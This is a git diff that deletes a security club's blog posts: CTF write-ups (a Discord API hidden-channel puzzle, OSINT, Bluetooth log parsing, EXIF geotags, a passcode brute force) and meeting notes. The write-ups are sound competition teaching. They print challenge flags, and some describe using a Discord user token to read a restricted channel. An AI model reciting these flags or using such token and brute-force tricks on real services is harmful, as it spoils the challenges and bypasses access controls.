-W+afbREt7aDchx7KM/hDP/CBOYntwVA5qOG9L2rr6hbTTVMIqQxn2WAXtcBgc4Od4kMNAQt/8cvFsciApJ6RS -++FPIwx8gJJCe/OZYdRl19/Fv+j9xi7dIiET4SqCUPz3nionKvMjvPvrd/42P9xw+niY+3gJEtIZjMb66Let+ -GuUew68bjz2DRlJSOtSNzP/MspNtUa5bY/4bmUMAHc= ekoparty-deploy@RUtPezc0NGFkN2ZlOGU2Y2U1Z -Tg4NWFkMjRlZWYyNDNiMWZkMTFkMGZiN2V9 -``` - -That computer hostname does not look normal at all… Let’s use [Cyber Chef](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&input=UlV0UGV6YzBOR0ZrTjJabE9HVTJZMlUxWlRnNE5XRmtNalJsWldZeU5ETmlNV1prTVRGa01HWmlOMlY5Cg) to turn that into ASCII - -``` -EKO{744ad7fe8e6ce5e885ad24eef243b1fd11d0fb7e} -``` - -~ Lyell Read diff --git a/content/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2.md b/content/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2.md deleted file mode 100644 index a4a6638..0000000 --- a/content/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: "FireshellCTF Against the Perfect discord Inquisitor 1 and 2" -author: "Lyell Read" -date: 2020-03-29T00:00:00-07:00 -categories: ['Writeups'] -tags: ['fireshellctf'] -caption: "The Fireshell Security Team's banner, featuring their website URL" - -draft: false ---- - -## Prompt 1 - -You’re on a journey and come to the Tavern of a Kingdom Enemy, you need to get information of a secret organization for the next quest. Be careful about the Inquisitor! He can ban you from this world. - -TL;DR find the flag - -[Kingdom Chall](https://discord.gg/fHHyU6g) - -HINT: Title/Chall name - -## Prompt 2 - -There is a mage in the tavern that reveals secrets from the place. He is friendly, so he can help you! Be careful about the Inquisitor! He can ban you from this world. - -TL;DR use the bot to get the flag - -[Kingdom Chall](https://discord.gg/fHHyU6g) - -## Solution 1 - -Starting out, we clicked the link to [Kingdom Chall](https://discord.gg/fHHyU6g), and joined the discord. There, we identified a long stream of other people joining, as well as a bot account named `Gandalf`. `Gandalf`‘s status reads: - -``` -You’re welcome~ Free reveals with command: $reveal_secret (channel.id) (message.id) -``` - -Obviously, we need to test this: - -``` -lyellread -$reveal_secret 688190172793536545 691089964401819759 -Gandalf [BOT] -@everyone say hello to @Gandalf ! -``` - -Great! Looks like `Gandalf` will be our oracle for any messages that we have ID’s for but cannot read ourselves. What’s next? - -Someone had a plugin enabled that saw there was a hidden channel on the Discord, with ID `688190289814618213`, with name `hidden-round-table`. We would have found this in our API search below, but this helped refine where we were headed wiht `Gandalf` and the API. - -Now onto that hint: The challenge name is “Against the Perfect discord Inquisitor” – that makes acronym “API”… I know where this is going. We need to make some API request to get some information. - -After quite a bit of looking (Discord, your docs suck big time!!), we came up with [this script](https://github.com/lyellread/ctf-writeups/blob/master/2020-fireshell/discord-1-and-2/discord_bot.py) which will make a `GET` request to the API. We needed a token, too, and thankfully, GitHub user Tyrrrz provides [this guide](https://github.com/Tyrrrz/DiscordChatExporter/wiki/Obtaining-Token-and-Channel-IDs) to getting tokens and channel (and message and guild) ID’s. Now we can work with that. We tried: - -- `/api/v6/channel/688190172793536545/messages`: returns all the messages – nothing new, as we can read all messages in that channel. -- `/api/v6/channel/688190289814618213/messages`: returns not authorized to view messages in hidden channel – no suprise there. -- `/api/v6/guilds/688190172793536536`: returns much of what we already knew about this guild -- `/api/v6/guilds/688190172793536536/channels`: - -``` -[{"id": "688190172793536539", "type": 4, "name": "Kingdom", "position": 0, "parent_id": null, "guild_id": "688190172793536536", "permission_overwrites": [], "nsfw": false}, {"id": "688190172793536545", "last_message_id": "691368465201758319", "type": 0, "name": "tavern", "position": 0, "parent_id": "688190172793536539", "topic": "A place of business where people gather to drink alcoholic beverages and be served food, and in most cases, where travelers receive lodging.", "guild_id": "688190172793536536", "permission_overwrites": [{"id": "688190172793536536", "type": "role", "allow": 0, "deny": 2048}], "nsfw": false, "rate_limit_per_user": 0}, - -{"id": "688190289814618213", "last_message_id": "688214063595258088", "type": 0, "name": "hidden-round-table", "position": 1, "parent_id": "688190172793536539", "topic": "F#{The_Table_of_King_Arthur}", "guild_id": "688190172793536536", "permission_overwrites": [{"id": "688190172793536536", "type": "role", "allow": 0, "deny": 3072}, {"id": "688190424124227590", "type": "role", "allow": 3072, "deny": 0}], "nsfw": false, "rate_limit_per_user": 0}] -``` - -That’s the first flag! `F#{The_Table_of_King_Arthur}` – the description of `#hidden_round_table`! Now onto the next one… - -## Solution 2 - -We have not even used `Gandalf` yet, so we will need to. The output above tells us something interesting (and exactly what we need to use `Gandalf`) – the last message id in `#hidden_round_table`: `688214063595258088`. Now we can ask our “Mage” `Gandalf` about this: - -``` -lyellread -$reveal_secret 688190289814618213 688214063595258088 -Gandalf [BOT] -RiN7UzRiM1JfMTVfVGgzX0sxbmdfQXJ0aHVyfQ== -``` - -That looks like base64… One sec, [we can fix that](https://www.base64decode.org/), and we get `F#{S4b3R_15_Th3_K1ng_Arthur}`! - -Thank you Fireshell Team and @K4L1!! - -~Lyell Read, Phillip Mestas, Robert Detjens diff --git a/content/blog/fword-ctf-identity-fraud.md b/content/blog/fword-ctf-identity-fraud.md deleted file mode 100644 index ff66c7f..0000000 --- a/content/blog/fword-ctf-identity-fraud.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: "Fword CTF - Identity Fraud" -author: "Lyell Read" -date: 2020-08-31T00:00:00-07:00 -categories: ['Writeups'] -tags: ['fwordctf2020'] -caption: "Fword CTF logo" - -draft: false ---- - -Points: 419 Solves: 86 Category: OSINT - -## Prompt - -> Someone stole our logo and created a team named “Eword”. In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. … Can you help me in solving the task? -> -> Flag Format: Eword{} - -## Solution - -We start at the twitter page of the account mentioned in the challenge description: [@1337bloggs](http://archive.today/2020.08.31-140505/https://twitter.com/1337bloggs/with_replies), and we are greeted with this tweet: - -![Screenshot of tweet advertising needing a final CTF player for a team](/blog/fword-ctf-identity-fraud-tweet.jpg) - -This indicates that at some point (around 8/26/2020), Eword had something on their CTFTime page. Over to the Wayback Machine! It shows two captures in 2020, 08/26 and 08/27. Let’s view [the 08/26 capture](https://web.archive.org/web/20200826195056/https://ctftime.org/team/131587) – it appears to link to a PasteBin: - -[This pastebin](https://pastebin.com/8bk9qLX1) reads: - -``` -Hi Fred, - -You said that you are good in OSINT. So, you need to prove your skills to join Eword. - -Your task: -Find the leader of Eword, then find the flag in one of his social media accounts. - -Hint: -https://pastebin.com/PZvaSjA0 -``` - -Clearly we have to find the leader of Eword (we’ll get to that in a second), but we inspect this [new pastebin](https://pastebin.com/PZvaSjA0) first. It contains a bunch of what looks to be base64 data, so we put it into [cyberchef](https://gchq.github.io/CyberChef) and get this image out: - -![Picture of Hilton hotel with text around it.](/blog/fword-ctf-identity-fraud-hilton.jpg) - -It shows us a Hilton hotel somewhere, and the size of the image is `1080X2094` – an unfamiliar resolution to me, so I googled it up, and it appears that this is a resolution used by Instagram. I also tried using Google Image reverse search to locate the hotel, however I was unsuccessful there, too, not that it would have helped too much. - -> Note: if Instagram stories were indexed in a reverse image search engine like Google reverse image search, or TinEye, you would be able to jump to the end of the challenge using this information (instagram, photo), however I tried this and could not get success at the time. - -So we are looking for something that has to do with a Hilton and Eword Team, let’s use Google: when we search for `"Hilton" "Eword" "team"`, we are greeted with a review for a Hilton in Podgorica, Montenegro: - -![Screenshot of Google result that is a TripAdvisor review of the hotel](/blog/fword-ctf-identity-fraud-google-hilton.png) - -Clicking that link gives us a tripadvisor page where we can search for that review with `Ctrl + F`. - -![Screenshot of a TripAdvisor review about the hotel](/blog/fword-ctf-identity-fraud-tripadvisor-review.png) - -Looking further into that user, it’s clear what we have to do: - -![Screenshot of the TripAdvisor accounc that wrote the review](/blog/fword-ctf-identity-fraud-tripadvisor-account.png) - -We need to check the instagram of Wokaihwokomas Kustermann, which will likely be under the name he has in the Intro section, `wokaihwokomaskustermann`. Notably, you cannot just search for the username in google: - -![Screenshot of google returning no results upon searching for the Instagram username](/blog/fword-ctf-identity-fraud-failed-google.png) - -Instead, you will need to go to log in to instagram first, then search for the username, and [the account indeed shows up](https://www.instagram.com/wokaihwokomaskustermann/). There are a couple “Highlights”, the first of which is the hotel image we got earlier, the second says: - -![Screenshot of an Instagram highlight](/blog/fword-ctf-identity-fraud-instagram-highlight.png) - -Well, that seems indicative that we need to get the original image behind the circular profile pic (the other picture on their instagram is not the same as their profile pic), and we do that with a bit of inspect element and a `wget` request to save it: - -![Photo of a man smiling at the camera with text at the bottom](/blog/fword-ctf-identity-fraud-pfp-small.jpg) - -There’s very obviously a flag along the bottom (or some other writing), however it is too low res to read. Instead of figuring out how to make a properly formed request to Instagram’s `cdn` servers, I used a tool called [instadp](https://www.instadp.com/) to get [a full sized display picture](https://www.instadp.com/fullsize/wokaihwokomaskustermann): - -![Photo of a man smiling at the camera with text at the bottom, the text now large enough to be legible](/blog/fword-ctf-identity-fraud-pfp-big.jpg) - -That’s all there is to it! - -``` -Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!} -``` - -~Lyell Read diff --git a/content/blog/hitcon-ctf-2018-ev3-basic.md b/content/blog/hitcon-ctf-2018-ev3-basic.md deleted file mode 100644 index 7611d24..0000000 --- a/content/blog/hitcon-ctf-2018-ev3-basic.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: "HITCON CTF 2018 EV3 Basic" -author: "Zander Work" -date: 2018-10-22T00:00:00-07:00 -categories: ['Writeups'] -tags: ['hitconctf2018'] -caption: "" - -draft: false ---- - -[Link to Github](https://github.com/zzzanderw/ctf-writeups/tree/master/hitcon2018/ev3basic) - -![Screenshot of a CTFd challenge called EV3 Basic with a TAR archive to download.](/blog/hitcon-ctf-2018-ctfd.png) - -Even though this was a pretty simple challenge, I really enjoyed it and wanted to do a write-up for it anyways. - -EV3 is the latest generation of the [LEGO Mindstorms](https://www.lego.com/en-us/mindstorms) robots, and thanks to this challenge I know a lot more about the Mindstorms Communication and Firmware Developer Kits than I ever thought I would. - -The challenge includes two files: A picture of the screen of the robot, and a .pklg file, which turned out to be a Bluetooth HCI Log. - -![Photo of a LEGO Mindstorms EV3, displaying a screen of a challenge flag with most of the characters missing](/blog/hitcon-ctf-2018-ev3.jpg) - -Based on the photo, it was pretty easy to figure out that we needed to get some data out of the Bluetooth log to identify the missing characters. - -After opening the log in Wireshark and doing some display filtering, we can see a conversation between “localhost” (turned out to be a Macbook Pro) and the EV3. - -![Screenshot of many lines of Bluetooth dialog in Wireshark](/blog/hitcon-ctf-2018-wireshark.png) - -Looking at the data revealed a pretty simple conversation. The MacBook would send a command, and the EV3 would acknowledge it. - -![Screenshot of Wireguard, showing a command sent from the laptop to the EV3](/blog/hitcon-ctf-2018-wireshark1.png) - -![Screenshot of Wireguard, showing an acknowledgement sent from the EV3 to the laptop](/blog/hitcon-ctf-2018-wireshark2.png) - -The responses from the EV3 were constant, so I didn’t spend time analyzing those and solely worked on data being sent by the MacBook. - -Thanks to some nice Google searches, I found two developer docs from LEGO: the [Communication Developer Kit](https://le-www-live-s.legocdn.com/sc/media/files/ev3-developer-kit/lego%20mindstorms%20ev3%20communication%20developer%20kit-f691e7ad1e0c28a4cfb0835993d76ae3.pdf?la=en-us) and the [Firmware Development Kit](https://le-www-live-s.legocdn.com/sc/media/files/ev3-developer-kit/lego%20mindstorms%20ev3%20firmware%20developer%20kit-7be073548547d99f7df59ddfd57c0088.pdf?la=en-us). These documents made analyzing the data much easier. - -Here is the data for one packet sent by the MacBook: - -``` -12 00 2a 00 00 00 00 84 05 01 81 5a 81 28 84 31 00 84 00 80 - | | | | | | | | | | - | | | | | | | | =====> string (1) - | | | | | | | | - | | | | | | ===========> y coord - | | | | | | - | | | ====================> x coord - | | | - | | =======================> color - | | - | ==========================> command (TEXT) - | - =============================> opcode (opUI_DRAW) - -(the first few bytes are length, sequence number, and local/global variable declaration, and aren't important for this challenge) -``` - -This command would write the character “1” at (0x5a, 0x28). - -You’ll notice that there are three bytes for the x coord, and two bytes for the y coord. Turns out, there are some inconsistencies with the documentation and the Bluetooth log for how big the coordinates are supposed to be (or there is other data being put in there that isn’t consistent/documented). The log has packets with data sizes of 19, 20, and 21 bytes (the example above is 20 bytes). Here’s what I figured out for parsing data on the various length packets: - -- If there are 19 bytes of data, the x coord is at the 10th byte (starting with 0 on the left), and the y coord is at the 12th byte. -- If there are 20 bytes of data, the x coord is somewhere in the 10th-12th byte, and whichever byte is lower than 0x80 is the correct byte. The y coord is constant at the 13th byte. -- If there are 21 bytes of data, the x coord is at the 11th byte, the y coord is somewhere between the 14th-17th byte, and whichever byte is lower than 0x80 is the correct byte. - -With that information at hand, I wrote a Python script to analyze the data (exported as JSON from Wireshark) and output the flag: - -``` -$ ./solve.py -hitcon{m1nd5t0rm_communication_and_firmware_developer_kit} -``` - -Here is a [link to my folder on GitHub](https://github.com/zzzanderw/ctf-writeups/tree/master/hitcon2018/ev3basic) where I have the files for the challenge and my script to get the flag. diff --git a/content/blog/houseplantctf-catography-writeup.md b/content/blog/houseplantctf-catography-writeup.md deleted file mode 100644 index d389772..0000000 --- a/content/blog/houseplantctf-catography-writeup.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: "HouseplantCTF - Catography Writeup" -author: "Lyell Read" -date: 2020-04-26T00:00:00-07:00 -categories: ['Writeups'] -tags: ['houseplantctf'] -caption: "Houseplant CTF logo" - -draft: false ---- - -## Prompt - -> Jubie’s released her own collection of cat pictures. Go check it out! -> -> [http://challs.houseplant.riceteacatpanda.wtf:30002](http://challs.houseplant.riceteacatpanda.wtf:30002) -> -> Note: The Unsplash author credit is not a part of the challenge, it’s only there to conform with the Unsplash image license. -> -> Dev: jammy - -## Solution - -Browsing the site, we can see that it is a collection of cat images… A lot of them. From inspecting the sources, we can see that these images are pulled from an API at [http://challs.houseplant.riceteacatpanda.wtf:30002/api](http://challs.houseplant.riceteacatpanda.wtf:30002/api). There are 83 ‘pages’. - -We then used [this script](https://github.com/lyellread/ctf-writeups/blob/master/2020-houseplant/catography/get_all_cats.sh) to grab all image ID’s, then get all images based on those ID’s. These images are stored here: [all_cats.tar.gz](https://github.com/lyellread/ctf-writeups/blob/master/2020-houseplant/catography/all_cats.tar.gz). - -Upon further examination of those cat photos, `exiftool` returns some interesting info about each file: - -``` -$ exiftool 002c3599-572f-4d23-8fd2-3eb8b3073ab5.jpg -ExifTool Version Number : 11.65 -File Name : 002c3599-572f-4d23-8fd2-3eb8b3073ab5.jpg -Directory : . -File Size : 136 kB -File Modification Date/Time : 2020:04:26 02:59:52-07:00 -File Access Date/Time : 2020:04:26 03:20:46-07:00 -File Inode Change Date/Time : 2020:04:26 02:59:52-07:00 -File Permissions : rw-r--r-- -File Type : JPEG -File Type Extension : jpg -MIME Type : image/jpeg -XMP Toolkit : Image::ExifTool 10.80 -GPS Latitude : 29 deg 59' 34.81" S -GPS Longitude : 169 deg 42' 47.97" W -Image Width : 1080 -Image Height : 811 -Encoding Process : Baseline DCT, Huffman coding -Bits Per Sample : 8 -Color Components : 3 -Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) -Image Size : 1080x811 -Megapixels : 0.876 -GPS Latitude Ref : South -GPS Longitude Ref : West -GPS Position : 29 deg 59' 34.81" S, 169 deg 42' 47.97" W -``` - -We see that it has some geotag information! Let’s get all that out, and see if all the images have that. After working on a python script to do that, I found that `exiftool` will do that! [https://exiftool.org/geotag.html](https://exiftool.org/geotag.html) - -``` -$ exiftool -fileOrder gpsdatetime -p gpx.fmt /path/to/all_cats > out.gpx -``` - -Now, using [this online tool](https://www.gpsvisualizer.com/map?output_home) we can output this data as a png, and interpret the flag from the path: - -![Diagram depicting flight path that spells out the flag](/blog/houseplantctf-catography-writeup-flightpath.jpg) - -``` -rtcp{4round_7h3_w0r1d} -``` - -~ Aaron Esau, Lyell Read diff --git a/content/blog/houseplantctf-satans-jigsaw-writeup.md b/content/blog/houseplantctf-satans-jigsaw-writeup.md deleted file mode 100644 index 1081116..0000000 --- a/content/blog/houseplantctf-satans-jigsaw-writeup.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: "HouseplantCTF Satan's Jigsaw Writeup" -author: "Lyell Read" -date: 2020-04-26T00:00:00-07:00 -categories: ['Writeups'] -tags: ['houseplantctf'] -caption: "HouseplantCTF logo" - -draft: false ---- - -## Prompt - -> Oh no! I dropped my pixels on the floor and they’re all muddled up! It’s going to take me years to sort all 90,000 of these again 🙁 -> -> Dev: Tom -> -> Hint! long_to_bytes - -File: [chall.7z](https://github.com/lyellread/ctf-writeups/blob/master/2020-houseplant/satans-jigsaw/chall.7z) - -## Solution - -This provided archive contains 90,000 JPEG’s. I extracted all of them to `./images` (relative to this README’s PWD). Each of these images has a size of 1 pixel. - -Then, comes the fun part. Before reading the hint, I tried just forming the image from the pixels in the order that they appeared in the folder, but this revealed a ‘static’ image. - -The hint makes obvious that we must convert the decimal part of the filename to bytes, but it does not explain what to do with those. However, after trying it out, we saw that the he decoded filenames contain an X and Y ‘coordinate’ in the format “X Y”. Decoding all this, sorting, and making an image is all achieved in the script [image_reconstruct.py](https://github.com/lyellread/ctf-writeups/blob/master/2020-houseplant/satans-jigsaw/image_reconstruct.py). - -![A picture of a pencil held in a hand with two QR codes overlaid on top of it](/blog/houseplantctf-satans-jigsaw-writeup-pencil.jpg) - -The top left QR code was essential to solving the challenge, however the bottom right one contains the flag. - -``` -rtcp{d1d-you_d0_7his_by_h4nd?} -``` - -~ Lyell Read diff --git a/content/blog/ijctf-vault-writeup.md b/content/blog/ijctf-vault-writeup.md deleted file mode 100644 index dce28a5..0000000 --- a/content/blog/ijctf-vault-writeup.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: "IJCTF - Vault Writeup" -author: "Lyell Read" -date: 2020-04-26T00:00:00-07:00 -categories: ['Writeups'] -tags: ['ijctf'] -caption: "IJCTF logo" - -draft: false ---- - -## Prompt - -> We locked our secret box, You can directly ping the bot (@Vault #8895 ) using “start” to get the secret but we don’t know the door code we used random() also we used sleep(10). -> -> shift register… -> -> Author : Harsh and warlock_rootx -> -> Hint: if pin in user_input(): #Good Stuff… - -## Solution - -This problem (and especially the hint) make clear what we have to do. We need to provide the discord bot with as many possible passcodes as we can for the suggested charset and length as possible… now, discord makes this hard, as messages are limited to 2000 characters. The bot asks for these passcodes: - -``` -[0, 1] l=7 -[4, 5, 6] l=6 -[5, 6, 7, 8, 9] l=4 -[1, 2, 3, 4] l=5 -[0, 1, 2, 5, 8, 9] l=4 -[0, 1] l=11 -``` - -Despite sometimes having to choose as little as 1/12 of the total passcode wordlist size, I was able to get the challenge during the ctf with a ‘bruteforce’ tactic. The strings that I sent are in [strings-bruteforce.txt](https://github.com/lyellread/ctf-writeups/blob/master/2020-ijctf/vault/strings-bruteforce.txt), and they worked in a couple of tries (the odds were better than they may seem, as overlapping passcodes count too). Some passcode sets (like that of the last problem). I made these strings with python itertools: - -``` -import itertools -passcode_list = list(itertools.product(charset, repeat=length)) -print(''.join([''.join(y) for y in passcode_list])) -``` - -After the CTF, though, I was nagged by the fact that I could improve on this… I therefore made a partial superstring program to make the strings shorter, and include more possible passcodes per message to the bot. It is [here](https://github.com/lyellread/ctf-writeups/blob/master/2020-ijctf/vault/superstring.py), and it creates [these passcode lists](https://github.com/lyellread/ctf-writeups/blob/master/2020-ijctf/vault/strings-partial-superstring.txt). All apart from the last one will be 100% reliable, as I had to shave 200 characters off the last one. My superstring algorithm is lazily made, and not perfect, so there exists a case where one could compose strings that would contain all passcodes for all challenges proposed by the bot. - -All in all a fun quick chall! - -``` -IJCTF{0p3n3d_d3_bru1jn_v4ul75} -``` - -~ Lyell Read diff --git a/content/blog/meeting-1-10.md b/content/blog/meeting-1-10.md deleted file mode 100644 index 3addb73..0000000 --- a/content/blog/meeting-1-10.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: "Meeting 1/10" -author: "Zander Work" -date: 2019-01-10T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thanks for a great first meeting for Winter 2019! - -Here is a link to the slides (requires ONID login): [Slides](https://docs.google.com/presentation/d/1iU6j_7NhsbPOXRgbHcPgQRbTHEfxtfDn7uuZeX1RWU4/edit?usp=sharing) - -For those of you who were unable to make it, here’s a brief summary of what we went over. Mostly, it was just talking about what’s coming for the rest of the term: - -- Updates on the OSUSEC Lab - - It’s coming. Windows is almost ready and then I’ll be working on Linux. If you want access for testing, send me your ONID. -- We won Codebreaker! More details [here.](https://www.osusec.org/nsa-codebreaker-challenge-2018-results/) -- Upcoming events - - There are some great CTFs coming up this term, check the [calendar.](https://www.osusec.org/calendar/) - - PEUx5.5 is on Feb. 1-2. For more info, see [here.](https://www.pnnl.gov/nationalsecurity/technical/capabilities/computing/peu.stm) - - PRCCDC is coming up. This is our big competition for the term, and I’m confident that we can do really well. If you are interested in participating, please sign up [here](https://goo.gl/forms/Kb250ZUY8UmYBtmh1) **no later than 1/18.** See the slides for more info on PRCCDC (slides 10-13). - -Let me know if you have any questions. Thanks, and I’ll see you next week! diff --git a/content/blog/meeting-1-17.md b/content/blog/meeting-1-17.md deleted file mode 100644 index 043c4df..0000000 --- a/content/blog/meeting-1-17.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: "Meeting 1/17" -author: "Zander Work" -date: 2019-01-17T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Tonight we talked about some CTF tools and did a walkthrough for “start” on pwnable.tw. You can read a detailed writeup for this binary on the [OSUSEC GitHub](https://github.com/osusec/ctf/tree/master/writeups/pwnable.tw%20-%20start). - -Here’s a link to the slides (requires ONID login): [Slides](https://docs.google.com/presentation/d/1TFiAUi4DVTtn9yT39TxC7JYGbp_yuIwoB_lgsOZC-fo/edit?usp=sharing) - -For those of you who felt lost tonight, my apologies! I received some great feedback, and will have some easier binaries for next week, which will allow me to work on establishing a better baseline for everyone. I’ll also send out some setup instructions the day before to allow everyone to get the libraries/tools setup beforehand. - -Some announcements from tonight’s meeting: - -- We have confirmed guest speakers for Feb. 21 and Mar. 7, so make sure to save the dates for those! They will be at our same meeting time/place (Thursday @ 7pm in KEC 1003) -- Signups for PRCCDC are due tomorrow (Jan. 18)! If you are interested, sign up [here](https://goo.gl/forms/Kb250ZUY8UmYBtmh1). - -Thanks everyone, and I’ll see you next week! diff --git a/content/blog/meeting-1-24.md b/content/blog/meeting-1-24.md deleted file mode 100644 index 3c9d24a..0000000 --- a/content/blog/meeting-1-24.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: "Meeting 1/24" -author: "Zander Work" -date: 2019-01-24T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Tonight we worked on buffer overflows, and some binaries on the new OSUSEC CTF platform. - -[Slides (requires ONID login)](https://docs.google.com/presentation/d/19c4T4A7VNmKJKd4e0qcbU_acxLRTccyMXjjQb1I2SNI/edit?usp=sharing) - -Next week, we’re going to work on similar binaries, but comparing the assembly code with the C code. diff --git a/content/blog/meeting-1-31.md b/content/blog/meeting-1-31.md deleted file mode 100644 index 3bf2d4d..0000000 --- a/content/blog/meeting-1-31.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: "Meeting 1/31" -author: "Zander Work" -date: 2019-01-31T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Today we talked about some basic reverse engineering, and compare/contrasting x86 assembly with C code. - -There are some new challenges up on CTFd, rev\[1-4] - -[Link to the slides (requires ONID login)](https://docs.google.com/presentation/d/1uR4zAxgC31a79FtqSMHvD5Pvu3DGKi9sJkuYcCY4AP4/edit?usp=sharing) diff --git a/content/blog/meeting-10-11.md b/content/blog/meeting-10-11.md deleted file mode 100644 index 6b57218..0000000 --- a/content/blog/meeting-10-11.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: "Meeting 10/11" -author: "Zander Work" -date: 2018-10-18T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thanks Zach for the awesome presentation tonight on Network Security Monitoring! I’ll update this post with a link to the slides once they are available. - -Announcements from tonight’s meeting: - - Make sure you are on Discord/SLI. Links are on the homepage for those. - We will be hosting NetSPI on November 1st. They will be bringing pizza, so please RSVP for this so we can get a head count and information on dietary restrictions. [Link to RSVP.](https://goo.gl/forms/Fohnjj3YkDuaVPF03) The deadline to RSVP is 10/25. - HitconCTF is this weekend! We have reserved KEC 1003 for the duration of the event, and will be collaboratively working on challenges throughout the weekend. Feel free to stop by (we may or may not have pizza/other fun things ;), Fri @7pm – Sun @7pm. Make sure that you get the @CTF tag on Discord to get access to those channels (#info for info on that). - diff --git a/content/blog/meeting-10-25.md b/content/blog/meeting-10-25.md deleted file mode 100644 index 474e9f6..0000000 --- a/content/blog/meeting-10-25.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: "Meeting 10/25" -author: "Zander Work" -date: 2018-10-25T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thanks to Emily for the great talk on SIEMs (Security Incident and Event Management)! Here is a [link to the slides.](https://drive.google.com/file/d/18iWPMZoht4kH8zusArMP-62ksRlnD414/view?usp=sharing) - -Announcements from tonight’s meeting: - -- Make sure to RSVP for the NetSPI event happening next week (during our normal meeting time)! Here is a [link to the form](https://goo.gl/forms/Fohnjj3YkDuaVPF03). Oct. 25 is the last day to RSVP. -- Those of you on the team for Cyberforce Competition, make sure to send your badge forms to PNNL. -- I forgot to include Thanksgiving break on the club calendar, so the last meeting for the term will be on 11/25. diff --git a/content/blog/meeting-10-4.md b/content/blog/meeting-10-4.md deleted file mode 100644 index 4ab30f7..0000000 --- a/content/blog/meeting-10-4.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: "Meeting 10/4" -author: "Zander Work" -date: 2018-10-04T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thanks to Akshith for a great presentation on Blockchain! For those of you who were unable to make it, here is a link to the slides: [https://drive.google.com/file/d/1-PVTrV6JO6DFnFFz415_JvZ52J-DXJqw/view?usp=sharing](https://drive.google.com/file/d/1-PVTrV6JO6DFnFFz415_JvZ52J-DXJqw/view?usp=sharing) - -Announcements from today’s meeting: - -- If you are interested in working in the Information Security Office here at OSU, make sure to apply here: [https://jobs.oregonstate.edu/postings/67398](https://jobs.oregonstate.edu/postings/67398). If you have any questions, please contact Emily Longman. -- No meeting next week (10/11) -- Applications for Cyberforce Competition will close on October 10th, please fill that out if you are interested: [https://goo.gl/forms/0th88giiAz6TbMSt2](https://goo.gl/forms/0th88giiAz6TbMSt2) -- Make sure you register with the club on SLI and join the Discord server! There are links for both on the homepage. diff --git a/content/blog/meeting-11-01.md b/content/blog/meeting-11-01.md deleted file mode 100644 index 808d111..0000000 --- a/content/blog/meeting-11-01.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: "Meeting 11/01" -author: "Zander Work" -date: 2018-11-01T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thanks to Karl Fosaaen from NetSPI for the awesome presentation on an introduction to penetration testing! Remember, if you want to learn about these things on your own, please make sure to do it on your own network and devices. I’ll update this post with a link to the slides when they become available. - -I don’t have any announcements for this week, so I’ll see you all next week! diff --git a/content/blog/meeting-11-15.md b/content/blog/meeting-11-15.md deleted file mode 100644 index 287f45d..0000000 --- a/content/blog/meeting-11-15.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: "Meeting 11/15" -author: "Zander Work" -date: 2018-11-16T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thanks for a great last meeting for the Fall term! - -I gave a talk on all of the low-level architecture and x86 assembly content needed to get started with binary pwning, [here is a link to the slides](https://docs.google.com/presentation/d/1Ys0tQNGGLpcJlUu3Zkp9V5IyZXo8Cfl7DPv_HWl1xFs/edit?usp=sharing). Hopefully, this is enough to get you all started! - -Have a great winter break! diff --git a/content/blog/meeting-2-14.md b/content/blog/meeting-2-14.md deleted file mode 100644 index c6da503..0000000 --- a/content/blog/meeting-2-14.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: "Meeting 2/14" -author: "Zander Work" -date: 2019-02-14T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Tonight I went over some basic usage of GDB, IDA Pro, and pwntools for solving the first pwnables on our CTF site. - -[Link to the slides (requires ONID login)](https://docs.google.com/presentation/d/1jSIFV4bEKIdCmpYIsE27jf4g27ZNKdDcTt4Bj4k4Bsc/edit?usp=sharing). The slides have information on getting the tools installed, so if you are having issues with that, check the slides out. diff --git a/content/blog/meeting-2-21.md b/content/blog/meeting-2-21.md deleted file mode 100644 index 3ee7736..0000000 --- a/content/blog/meeting-2-21.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: "Meeting 2/21" -author: "Zander Work" -date: 2019-02-21T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Tonight we hosted Karl Fosaaen from NetSPI, and he gave an awesome talk on pentesting in an Azure environment. - -If you’re interested in learning more about this, check out the [NetSPI blog](https://blog.netspi.com/) or the [Azure pentesting book](https://www.amazon.com/Pentesting-Azure-Applications-Definitive-Deployments/dp/1593278632) he 